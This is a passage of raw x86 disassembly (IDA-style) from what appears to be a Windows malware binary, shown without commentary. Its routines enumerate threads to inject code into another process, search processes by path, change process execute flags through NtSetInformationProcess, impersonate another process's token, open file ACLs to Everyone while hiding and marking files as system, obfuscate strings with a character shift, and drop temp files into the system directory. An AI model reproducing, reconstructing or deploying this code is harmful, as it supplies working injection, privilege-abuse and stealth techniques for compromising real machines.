		push	offset aKernel32_dll ; "kernel32.dll"
		call	edi ; GetModuleHandleA
		push	eax		; hModule
		call	ebx ; GetProcAddress
		push	0		; th32ProcessID
		push	4		; dwFlags
		mov	[ebp+lpStartAddress], eax
		call	CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+hObject], eax
		jz	loc_9ACE19
		push	6
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+te.cntUsage]
		rep stosd
		lea	eax, [ebp+te]
		push	eax		; lpte
		push	[ebp+hObject]	; hSnapshot
		mov	[ebp+te.dwSize], 1Ch
		call	Thread32First
		jmp	short loc_9ACE0C
; ---------------------------------------------------------------------------


loc_9ACDB2:				; CODE XREF: sub_9ACC9F+16Fj
		mov	eax, [ebp+dwProcessId]
		cmp	eax, [ebp+te.th32OwnerProcessID]
		jnz	short loc_9ACE00
		push	[ebp+te.th32ThreadID] ;	dwThreadId
		xor	esi, esi
		push	esi		; bInheritHandle
		push	10h		; dwDesiredAccess
		call	OpenThread
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_9ACE00
		push	esi
		push	esi
		push	[ebp+lpParameter]
		push	[ebp+lpStartAddress]
		push	ebx
		call	[ebp+var_18]
		push	ebx		; hObject
		mov	edi, eax
		call	CloseHandle
		push	edi
		push	[ebp+te.th32ThreadID]
		push	offset aThread08xStatu ; "thread: %08x,	status:	%08x\n"
		call	printf
		add	esp, 0Ch
		cmp	edi, esi
		jl	short loc_9ACE00
		mov	[ebp+var_4], 1


loc_9ACE00:				; CODE XREF: sub_9ACC9F+119j
					; sub_9ACC9F+12Dj ...
		lea	eax, [ebp+te]
		push	eax		; lpte
		push	[ebp+hObject]	; hSnapshot
		call	Thread32Next


loc_9ACE0C:				; CODE XREF: sub_9ACC9F+111j
		test	eax, eax
		jnz	short loc_9ACDB2
		push	[ebp+hObject]	; hObject


loc_9ACE13:				; CODE XREF: sub_9ACC9F+AEj
		call	CloseHandle


loc_9ACE19:				; CODE XREF: sub_9ACC9F+84j
					; sub_9ACC9F+C7j ...
		pop	ebx


loc_9ACE1A:				; CODE XREF: sub_9ACC9F+48j
		push	[ebp+hProcess]	; hObject
		call	CloseHandle
		cmp	[ebp+var_4], 0
		jz	short loc_9ACE34
		push	5DCh		; dwMilliseconds
		call	Sleep


loc_9ACE34:				; CODE XREF: sub_9ACC9F+2Aj
					; sub_9ACC9F+188j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_9ACC9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=6Ch


sub_9ACE3B	proc near		; CODE XREF: sub_9ACEC5+61p

Buffer		= byte ptr -8Ch
var_7C		= dword	ptr -7Ch
Src		= byte ptr -4Ch
Dst		= word ptr -0Ch
var_8		= dword	ptr -8
NumberOfBytesRead= dword ptr -4
hProcess	= dword	ptr  8
lpBaseAddress	= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-6Ch]
		sub	esp, 8Ch
		push	esi
		mov	esi, ReadProcessMemory
		push	edi
		lea	eax, [ebp+6Ch+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		mov	edi, 80h
		push	edi		; nSize
		lea	eax, [ebp+6Ch+Buffer]
		push	eax		; lpBuffer
		push	[ebp+6Ch+lpBaseAddress]	; lpBaseAddress
		push	[ebp+6Ch+hProcess] ; hProcess
		call	esi ; ReadProcessMemory
		test	eax, eax
		jnz	short loc_9ACE6C


loc_9ACE68:				; CODE XREF: sub_9ACE3B+44j
					; sub_9ACE3B+64j
		xor	eax, eax
		jmp	short loc_9ACEBE
; ---------------------------------------------------------------------------


loc_9ACE6C:				; CODE XREF: sub_9ACE3B+2Bj
		lea	eax, [ebp+6Ch+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		push	edi		; nSize
		lea	eax, [ebp+6Ch+Buffer]
		push	eax		; lpBuffer
		push	[ebp+6Ch+var_7C] ; lpBaseAddress
		push	[ebp+6Ch+hProcess] ; hProcess
		call	esi ; ReadProcessMemory
		test	eax, eax
		jz	short loc_9ACE68
		push	8		; Size
		lea	eax, [ebp+6Ch+Src]
		push	eax		; Src
		lea	eax, [ebp+6Ch+Dst]
		push	eax		; Dst
		call	memcpy
		movzx	eax, [ebp+6Ch+Dst]
		mov	ecx, [ebp+6Ch+arg_8]
		add	esp, 0Ch
		shr	eax, 1
		dec	ecx
		cmp	ecx, eax
		jb	short loc_9ACE68
		and	word ptr [ebx+eax*2], 0
		lea	eax, [ebp+6Ch+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		movzx	eax, [ebp+6Ch+Dst]
		push	eax		; nSize
		push	ebx		; lpBuffer
		push	[ebp+6Ch+var_8]	; lpBaseAddress
		push	[ebp+6Ch+hProcess] ; hProcess
		call	esi ; ReadProcessMemory
		neg	eax
		sbb	eax, eax
		neg	eax


loc_9ACEBE:				; CODE XREF: sub_9ACE3B+2Fj
		pop	edi
		pop	esi
		add	ebp, 6Ch
		leave
		retn
sub_9ACE3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9ACEC5(DWORD dwProcessId,int,int)

sub_9ACEC5	proc near		; CODE XREF: sub_9ACF3E+71p

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_4		= byte ptr -4
dwProcessId	= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		push	offset aNtqueryinforma ; "NtQueryInformationProcess"
		push	offset aNtdll_dll ; "ntdll.dll"
		call	GetModuleHandleA
		push	eax		; hModule
		call	GetProcAddress
		mov	ebx, eax
		xor	edi, edi
		cmp	ebx, edi
		jnz	short loc_9ACEF0
		xor	eax, eax
		jmp	short loc_9ACF3A
; ---------------------------------------------------------------------------


loc_9ACEF0:				; CODE XREF: sub_9ACEC5+25j
		push	esi
		push	[ebp+dwProcessId] ; dwProcessId
		push	edi		; bInheritHandle
		push	410h		; dwDesiredAccess
		call	OpenProcess
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_9ACF0A
		xor	eax, eax
		jmp	short loc_9ACF39
; ---------------------------------------------------------------------------


loc_9ACF0A:				; CODE XREF: sub_9ACEC5+3Fj
		lea	eax, [ebp+var_4]
		push	eax
		push	18h
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		push	esi
		call	ebx
		test	eax, eax
		jl	short loc_9ACF30
		push	[ebp+arg_8]
		mov	ebx, [ebp+arg_4]
		push	[ebp+var_18]
		push	esi
		call	sub_9ACE3B
		add	esp, 0Ch
		mov	edi, eax


loc_9ACF30:				; CODE XREF: sub_9ACEC5+55j
		push	esi		; hObject
		call	CloseHandle
		mov	eax, edi


loc_9ACF39:				; CODE XREF: sub_9ACEC5+43j
		pop	esi


loc_9ACF3A:				; CODE XREF: sub_9ACEC5+29j
		pop	edi
		pop	ebx
		leave
		retn
sub_9ACEC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9ACF3E(LPCWSTR lpSrch)

sub_9ACF3E	proc near		; CODE XREF: sub_9A74E1+9p
					; sub_9AB567+8p

First		= word ptr -330h
var_32E		= byte ptr -32Eh
dwProcessId	= PROCESSENTRY32 ptr -128h
lpSrch		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 330h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	ebx		; th32ProcessID
		push	2		; dwFlags
		call	CreateToolhelp32Snapshot
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_9ACFF0
		push	edi
		push	49h
		pop	ecx
		xor	eax, eax
		mov	[ebp+dwProcessId.dwSize], 128h
		lea	edi, [ebp+dwProcessId.cntUsage]
		rep stosd
		lea	eax, [ebp+dwProcessId]
		push	eax		; lppe
		push	esi		; hSnapshot
		call	Process32First
		jmp	short loc_9ACFDC
; ---------------------------------------------------------------------------


loc_9ACF85:				; CODE XREF: sub_9ACF3E+A0j
		xor	eax, eax
		mov	[ebp+First], bx
		mov	ecx, 81h
		lea	edi, [ebp+var_32E]
		rep stosd
		stosw
		push	104h		; int
		lea	eax, [ebp+First]
		push	eax		; int
		push	[ebp+dwProcessId.th32ProcessID]	; dwProcessId
		call	sub_9ACEC5
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9ACFCF
		push	[ebp+lpSrch]	; lpSrch
		lea	eax, [ebp+First]
		push	eax		; lpFirst
		call	StrStrIW
		test	eax, eax
		jnz	short loc_9ACFE2


loc_9ACFCF:				; CODE XREF: sub_9ACF3E+7Bj
		lea	eax, [ebp+dwProcessId]
		push	eax		; lppe
		push	esi		; hSnapshot
		call	Process32Next


loc_9ACFDC:				; CODE XREF: sub_9ACF3E+45j
		test	eax, eax
		jnz	short loc_9ACF85
		jmp	short loc_9ACFE8
; ---------------------------------------------------------------------------


loc_9ACFE2:				; CODE XREF: sub_9ACF3E+8Fj
		mov	ebx, [ebp+dwProcessId.th32ProcessID]


loc_9ACFE8:				; CODE XREF: sub_9ACF3E+A2j
		push	esi		; hObject
		call	CloseHandle
		pop	edi


loc_9ACFF0:				; CODE XREF: sub_9ACF3E+1Aj
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_9ACF3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9ACFF6	proc near		; CODE XREF: sub_9A798D+24p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, GetModuleHandleA
		push	edi
		push	offset aNtqueryinforma ; "NtQueryInformationProcess"
		mov	ebx, offset aNtdll_dll ; "ntdll.dll"
		push	ebx		; lpModuleName
		call	esi ; GetModuleHandleA
		mov	edi, GetProcAddress
		push	eax		; hModule
		call	edi ; GetProcAddress
		push	offset aNtsetinformati ; "NtSetInformationProcess"
		push	ebx		; lpModuleName
		mov	[ebp+var_8], eax
		call	esi ; GetModuleHandleA
		push	eax		; hModule
		call	edi ; GetProcAddress
		mov	esi, eax
		xor	eax, eax
		cmp	[ebp+var_8], eax
		jz	short loc_9AD05A
		cmp	esi, eax
		jz	short loc_9AD05A
		push	eax
		push	4
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	22h
		push	0FFFFFFFFh
		call	[ebp+var_8]
		test	eax, eax
		jl	short loc_9AD05A
		or	[ebp+var_4], 70h
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	22h
		push	0FFFFFFFFh
		call	esi


loc_9AD05A:				; CODE XREF: sub_9ACFF6+39j
					; sub_9ACFF6+3Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9ACFF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AD05F(HKEY hKey,LPCSTR lpSubKey,LPCSTR lpValueName,BYTE *lpData,DWORD cbData,DWORD dwType)

sub_9AD05F	proc near		; CODE XREF: sub_9AD0F4+15p

phkResult	= dword	ptr -4
hKey		= dword	ptr  8
lpSubKey	= dword	ptr  0Ch
lpValueName	= dword	ptr  10h
lpData		= dword	ptr  14h
cbData		= dword	ptr  18h
dwType		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		lea	eax, [ebp+phkResult]
		push	eax		; phkResult
		push	20006h		; samDesired
		xor	esi, esi
		push	esi		; ulOptions
		push	[ebp+lpSubKey]	; lpSubKey
		push	[ebp+hKey]	; hKey
		call	RegOpenKeyExA
		test	eax, eax
		jnz	short loc_9AD0A4
		push	[ebp+cbData]	; cbData
		push	[ebp+lpData]	; lpData
		push	[ebp+dwType]	; dwType
		push	esi		; Reserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+phkResult]	; hKey
		call	RegSetValueExA
		test	eax, eax
		jnz	short loc_9AD09B
		inc	esi


loc_9AD09B:				; CODE XREF: sub_9AD05F+39j
		push	[ebp+phkResult]	; hKey
		call	RegCloseKey


loc_9AD0A4:				; CODE XREF: sub_9AD05F+1Fj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_9AD05F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AD0A9(int,LPCSTR lpSubKey,LPCSTR lpValueName,LPBYTE lpData,DWORD cbData)

sub_9AD0A9	proc near		; CODE XREF: sub_9AD112+12p

hKey		= dword	ptr -4
lpSubKey	= dword	ptr  0Ch
lpValueName	= dword	ptr  10h
lpData		= dword	ptr  14h
cbData		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	20019h		; samDesired
		xor	esi, esi
		push	esi		; ulOptions
		push	[ebp+lpSubKey]	; lpSubKey
		push	80000002h	; hKey
		call	RegOpenKeyExA
		test	eax, eax
		jnz	short loc_9AD0EF
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		push	[ebp+lpData]	; lpData
		push	esi		; lpType
		push	esi		; lpReserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+hKey]	; hKey
		call	RegQueryValueExA
		test	eax, eax
		jnz	short loc_9AD0E6
		inc	esi


loc_9AD0E6:				; CODE XREF: sub_9AD0A9+3Aj
		push	[ebp+hKey]	; hKey
		call	RegCloseKey


loc_9AD0EF:				; CODE XREF: sub_9AD0A9+21j
		mov	eax, esi
		pop	esi
		leave
		retn
sub_9AD0A9	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9AD0F4(HKEY hKey,LPCSTR lpSubKey,LPCSTR lpValueName,BYTE Data)

sub_9AD0F4	proc near		; CODE XREF: sub_9A7170+82p
					; sub_9A91B5+17p ...

hKey		= dword	ptr  4
lpSubKey	= dword	ptr  8
lpValueName	= dword	ptr  0Ch
Data		= byte ptr  10h

		push	4		; dwType
		push	4		; cbData
		lea	eax, [esp+8+Data]
		push	eax		; lpData
		push	[esp+0Ch+lpValueName] ;	lpValueName
		push	[esp+10h+lpSubKey] ; lpSubKey
		push	[esp+14h+hKey]	; hKey
		call	sub_9AD05F
		add	esp, 18h
		retn
sub_9AD0F4	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9AD112(int,LPCSTR lpSubKey,LPCSTR lpValueName,LPBYTE lpData)

sub_9AD112	proc near		; CODE XREF: sub_9A7170+5Fp
					; sub_9A91E7+24p ...

arg_0		= dword	ptr  4
lpSubKey	= dword	ptr  8
lpValueName	= dword	ptr  0Ch
lpData		= dword	ptr  10h

		push	4		; cbData
		push	[esp+4+lpData]	; lpData
		push	[esp+8+lpValueName] ; lpValueName
		push	[esp+0Ch+lpSubKey] ; lpSubKey
		push	[esp+10h+arg_0]	; int
		call	sub_9AD0A9
		add	esp, 14h
		retn
sub_9AD112	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9AD12D(LPCSTR	lpFileName,int)

sub_9AD12D	proc near		; CODE XREF: sub_9ABB9F+32Ep
					; sub_9AD15E+2Ep ...

lpFileName	= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+lpFileName] ; lpFileName
		call	GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short locret_9AD15D
		cmp	[esp+arg_4], 0
		jz	short loc_9AD14D
		test	al, 1
		jz	short locret_9AD15D
		and	eax, 26h
		push	eax
		jmp	short loc_9AD153
; ---------------------------------------------------------------------------


loc_9AD14D:				; CODE XREF: sub_9AD12D+14j
		test	al, 1
		jnz	short locret_9AD15D
		push	7		; dwFileAttributes


loc_9AD153:				; CODE XREF: sub_9AD12D+1Ej
		push	[esp+4+lpFileName] ; lpFileName
		call	SetFileAttributesA

locret_9AD15D:				; CODE XREF: sub_9AD12D+Dj
					; sub_9AD12D+18j ...
		retn
sub_9AD12D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AD15E(LPCSTR	lpFileName,int)

sub_9AD15E	proc near		; CODE XREF: sub_9A752A+6Bp
					; sub_9A7670+26p ...

pSecurityDescriptor= byte ptr -44h
pIdentifierAuthority= _SID_IDENTIFIER_AUTHORITY	ptr -30h
nAclLength	= dword	ptr -28h
var_24		= dword	ptr -24h
pSid		= dword	ptr -20h
hMem		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
lpFileName	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	34h
		push	offset stru_9A4450
		call	__SEH_prolog
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+hMem], ebx
		mov	[ebp+pSid], ebx
		mov	[ebp+ms_exc.disabled], ebx
		mov	edi, [ebp+arg_4]
		mov	eax, edi
		mov	esi, 120116h
		and	eax, esi
		cmp	eax, esi
		jz	short loc_9AD193
		push	ebx		; int
		push	[ebp+lpFileName] ; lpFileName
		call	sub_9AD12D
		pop	ecx
		pop	ecx


loc_9AD193:				; CODE XREF: sub_9AD15E+28j
		mov	[ebp+pIdentifierAuthority.Value], bl
		mov	[ebp+pIdentifierAuthority.Value+1], bl
		mov	[ebp+pIdentifierAuthority.Value+2], bl
		mov	[ebp+pIdentifierAuthority.Value+3], bl
		mov	[ebp+pIdentifierAuthority.Value+4], bl
		mov	[ebp+pIdentifierAuthority.Value+5], 1
		push	1		; dwRevision
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		call	InitializeSecurityDescriptor
		lea	eax, [ebp+pSid]
		push	eax		; pSid
		push	ebx		; nSubAuthority7
		push	ebx		; nSubAuthority6
		push	ebx		; nSubAuthority5
		push	ebx		; nSubAuthority4
		push	ebx		; nSubAuthority3
		push	ebx		; nSubAuthority2
		push	ebx		; nSubAuthority1
		push	ebx		; nSubAuthority0
		push	1		; nSubAuthorityCount
		lea	eax, [ebp+pIdentifierAuthority]
		push	eax		; pIdentifierAuthority
		call	AllocateAndInitializeSid
		push	[ebp+pSid]	; pSid
		call	GetLengthSid
		add	eax, 10h
		mov	[ebp+nAclLength], eax
		push	eax		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	[ebp+hMem], eax
		cmp	eax, ebx
		jz	short loc_9AD241
		or	edi, 100000h
		mov	[ebp+arg_4], edi
		push	2		; dwAclRevision
		push	[ebp+nAclLength] ; nAclLength
		push	eax		; pAcl
		call	InitializeAcl
		push	[ebp+pSid]	; pSid
		push	edi		; AccessMask
		push	2		; dwAceRevision
		push	[ebp+hMem]	; pAcl
		call	AddAccessAllowedAce
		push	ebx		; bDaclDefaulted
		push	[ebp+hMem]	; pDacl
		push	1		; bDaclPresent
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		call	SetSecurityDescriptorDacl
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		push	4		; SecurityInformation
		push	[ebp+lpFileName] ; lpFileName
		call	SetFileSecurityA
		mov	[ebp+var_24], eax
		and	edi, esi
		cmp	edi, esi
		jnz	short loc_9AD241
		push	1		; int
		push	[ebp+lpFileName] ; lpFileName
		call	sub_9AD12D
		pop	ecx
		pop	ecx


loc_9AD241:				; CODE XREF: sub_9AD15E+89j
					; sub_9AD15E+D5j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_9AD254
; ---------------------------------------------------------------------------


loc_9AD247:				; DATA XREF: .text:stru_9A4450o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AD24B:				; DATA XREF: .text:stru_9A4450o
		mov	esp, [ebp+ms_exc.old_esp]
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	ebx, ebx


loc_9AD254:				; CODE XREF: sub_9AD15E+E7j
		cmp	[ebp+hMem], ebx
		jz	short loc_9AD262
		push	[ebp+hMem]	; hMem
		call	GlobalFree


loc_9AD262:				; CODE XREF: sub_9AD15E+F9j
		cmp	[ebp+pSid], ebx
		jz	short loc_9AD270
		push	[ebp+pSid]	; pSid
		call	FreeSid


loc_9AD270:				; CODE XREF: sub_9AD15E+107j
		mov	eax, [ebp+var_24]
		call	__SEH_epilog
		retn
sub_9AD15E	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9AD279(char *Source,char *Str)

sub_9AD279	proc near		; CODE XREF: sub_9A722A+31p

Source		= dword	ptr  4
Str		= dword	ptr  8

		push	esi
		push	[esp+4+Source]	; Source
		mov	esi, [esp+8+Str]
		push	esi		; Dest
		call	strcpy
		push	5Ch		; Ch
		push	esi		; Str
		call	strrchr
		add	esp, 10h
		test	eax, eax
		jz	short loc_9AD29D
		mov	byte ptr [eax],	0
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9AD29D:				; CODE XREF: sub_9AD279+1Dj
		push	esi		; lpBuffer
		push	104h		; nBufferLength
		call	GetCurrentDirectoryA
		push	esi		; Str
		call	strlen
		cmp	byte ptr [eax+esi-1], 5Ch
		pop	ecx
		jnz	short loc_9AD2C3
		push	esi		; Str
		call	strlen
		pop	ecx
		mov	byte ptr [eax+esi-1], 0


loc_9AD2C3:				; CODE XREF: sub_9AD279+3Cj
		pop	esi
		retn
sub_9AD279	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9AD2C5(char *Str,int,int)

sub_9AD2C5	proc near		; CODE XREF: sub_9A8E01+F3p
					; sub_9AFD0A+60p

Str		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+Str]	; Str
		call	strlen
		pop	ecx
		mov	ecx, [esp+arg_8]
		dec	ecx
		cmp	eax, ecx
		jbe	short loc_9AD2DB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_9AD2DB:				; CODE XREF: sub_9AD2C5+11j
		test	eax, eax
		mov	ecx, [esp+arg_4]
		mov	byte ptr [eax+ecx], 0
		jbe	short loc_9AD30E
		mov	edx, [esp+Str]
		push	esi
		sub	edx, ecx
		mov	esi, eax


loc_9AD2F0:				; CODE XREF: sub_9AD2C5+46j
		mov	al, [edx+ecx]
		cmp	al, 7Ah
		jnz	short loc_9AD2FC
		mov	byte ptr [ecx],	61h
		jmp	short loc_9AD309
; ---------------------------------------------------------------------------


loc_9AD2FC:				; CODE XREF: sub_9AD2C5+30j
		cmp	al, 5Ah
		jnz	short loc_9AD305
		mov	byte ptr [ecx],	41h
		jmp	short loc_9AD309
; ---------------------------------------------------------------------------


loc_9AD305:				; CODE XREF: sub_9AD2C5+39j
		inc	al
		mov	[ecx], al


loc_9AD309:				; CODE XREF: sub_9AD2C5+35j
					; sub_9AD2C5+3Ej
		inc	ecx
		dec	esi
		jnz	short loc_9AD2F0
		pop	esi


loc_9AD30E:				; CODE XREF: sub_9AD2C5+20j
		xor	eax, eax
		inc	eax
		retn
sub_9AD2C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AD312(char *Str1)

sub_9AD312	proc near		; CODE XREF: sub_9A9067+38p

Str		= byte ptr -8
var_4		= dword	ptr -4
Str1		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_9A26A4
		mov	dword ptr [ebp+Str], eax
		mov	eax, dword_9A26A8
		push	esi
		mov	esi, [ebp+Str1]
		mov	[ebp+var_4], eax
		push	7		; MaxCount
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	esi		; Str1
		call	_strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9AD343
		xor	eax, eax
		jmp	short loc_9AD3A4
; ---------------------------------------------------------------------------


loc_9AD343:				; CODE XREF: sub_9AD312+2Bj
		push	ebx
		push	edi
		lea	ebx, [esi+7]
		push	3Ah		; Val
		push	ebx		; Str
		call	strchr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9AD35B
		sub	eax, ebx
		jmp	short loc_9AD362
; ---------------------------------------------------------------------------


loc_9AD35B:				; CODE XREF: sub_9AD312+43j
		push	ebx		; Str
		call	strlen
		pop	ecx


loc_9AD362:				; CODE XREF: sub_9AD312+47j
		mov	edi, eax
		lea	eax, [edi+1]
		push	eax		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	esi, eax
		test	esi, esi
		jz	short loc_9AD3A2
		lea	eax, [edi+1]
		push	eax		; Count
		push	ebx		; Source
		push	esi		; Dest
		call	strncpy
		add	esp, 0Ch
		push	esi		; cp
		mov	byte ptr [esi+edi], 0
		call	__imp_inet_addr
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_9AD399
		xor	edi, edi


loc_9AD399:				; CODE XREF: sub_9AD312+83j
		push	esi		; hMem
		call	GlobalFree
		mov	eax, edi


loc_9AD3A2:				; CODE XREF: sub_9AD312+62j
		pop	edi
		pop	ebx


loc_9AD3A4:				; CODE XREF: sub_9AD312+2Fj
		pop	esi
		leave
		retn
sub_9AD312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AD3A7(LPSTR lpCommandLine,int)

sub_9AD3A7	proc near		; CODE XREF: sub_9A752A+137p
					; sub_9AC1ED+C4p ...

StartupInfo	= _STARTUPINFOA	ptr -54h
hObject		= _PROCESS_INFORMATION ptr -10h
lpCommandLine	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	esi
		push	edi
		xor	edx, edx
		xor	eax, eax
		mov	[ebp+hObject.hProcess],	edx
		push	10h
		lea	edi, [ebp+hObject.hThread]
		stosd
		stosd
		stosd
		pop	ecx
		xor	eax, eax
		mov	[ebp+StartupInfo.cb], 44h
		lea	edi, [ebp+StartupInfo.lpReserved]
		rep stosd
		mov	eax, [ebp+arg_4]
		xor	edi, edi
		inc	edi
		xor	esi, esi
		neg	eax
		sbb	eax, eax
		and	eax, 5
		mov	[ebp+StartupInfo.wShowWindow], ax
		lea	eax, [ebp+hObject]
		push	eax		; lpProcessInformation
		lea	eax, [ebp+StartupInfo]
		push	eax		; lpStartupInfo
		push	edx		; lpCurrentDirectory
		push	edx		; lpEnvironment
		push	edx		; dwCreationFlags
		push	edx		; bInheritHandles
		push	edx		; lpThreadAttributes
		push	edx		; lpProcessAttributes
		push	[ebp+lpCommandLine] ; lpCommandLine
		mov	[ebp+StartupInfo.dwFlags], edi
		push	edx		; lpApplicationName
		call	CreateProcessA
		test	eax, eax
		jz	short loc_9AD411
		push	[ebp+hObject.hProcess] ; hObject
		mov	esi, CloseHandle
		call	esi ; CloseHandle
		push	[ebp+hObject.hThread] ;	hObject
		call	esi ; CloseHandle
		mov	esi, edi


loc_9AD411:				; CODE XREF: sub_9AD3A7+56j
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_9AD3A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AD417	proc near		; CODE XREF: sub_9A993B+6p
					; sub_9ABB9F+20p

hObject		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	offset dword_9A14B0 ; Str2
		xor	ebx, ebx
		call	sub_9ACC1F
		cmp	eax, ebx
		pop	ecx
		jz	short loc_9AD46E
		push	edi
		push	eax		; dwProcessId
		push	ebx		; bInheritHandle
		push	410h		; dwDesiredAccess
		call	OpenProcess
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_9AD46D
		push	esi
		lea	eax, [ebp+hObject]
		push	eax		; TokenHandle
		push	0Eh		; DesiredAccess
		push	edi		; ProcessHandle
		call	OpenProcessToken
		test	eax, eax
		mov	esi, CloseHandle
		jz	short loc_9AD469
		push	[ebp+hObject]	; hToken
		call	ImpersonateLoggedOnUser
		push	[ebp+hObject]	; hObject
		mov	ebx, eax
		call	esi ; CloseHandle


loc_9AD469:				; CODE XREF: sub_9AD417+40j
		push	edi		; hObject
		call	esi ; CloseHandle
		pop	esi


loc_9AD46D:				; CODE XREF: sub_9AD417+28j
		pop	edi


loc_9AD46E:				; CODE XREF: sub_9AD417+14j
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_9AD417	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AD473(LPCVOID lpBuffer,DWORD	nNumberOfBytesToWrite)

sub_9AD473	proc near		; CODE XREF: sub_9A89A9+90p
					; sub_9AEA47+38p

FileName	= byte ptr -210h
PathName	= byte ptr -10Ch
var_9		= byte ptr -9
NumberOfBytesWritten= dword ptr	-8
var_4		= dword	ptr -4
lpBuffer	= dword	ptr  8
nNumberOfBytesToWrite= dword ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		mov	ebx, 104h
		push	ebx		; uSize
		lea	eax, [ebp+PathName]
		push	eax		; lpBuffer
		call	GetSystemDirectoryA
		mov	esi, GetTempFileNameA
		lea	eax, [ebp+FileName]
		push	eax		; lpTempFileName
		push	0		; uUnique
		mov	edi, offset PrefixString ; "ror"
		push	edi		; lpPrefixString
		lea	eax, [ebp+PathName]
		push	eax		; lpPathName
		mov	[ebp+var_9], 0
		call	esi ; GetTempFileNameA
		test	eax, eax
		jnz	short loc_9AD4E4
		lea	eax, [ebp+PathName]
		push	eax		; lpBuffer
		push	ebx		; nBufferLength
		call	GetTempPathA
		lea	eax, [ebp+FileName]
		push	eax		; lpTempFileName
		xor	ebx, ebx
		push	ebx		; uUnique
		push	edi		; lpPrefixString
		lea	eax, [ebp+PathName]
		push	eax		; lpPathName
		mov	[ebp+var_9], 0
		call	esi ; GetTempFileNameA
		jmp	short loc_9AD4E6
; ---------------------------------------------------------------------------


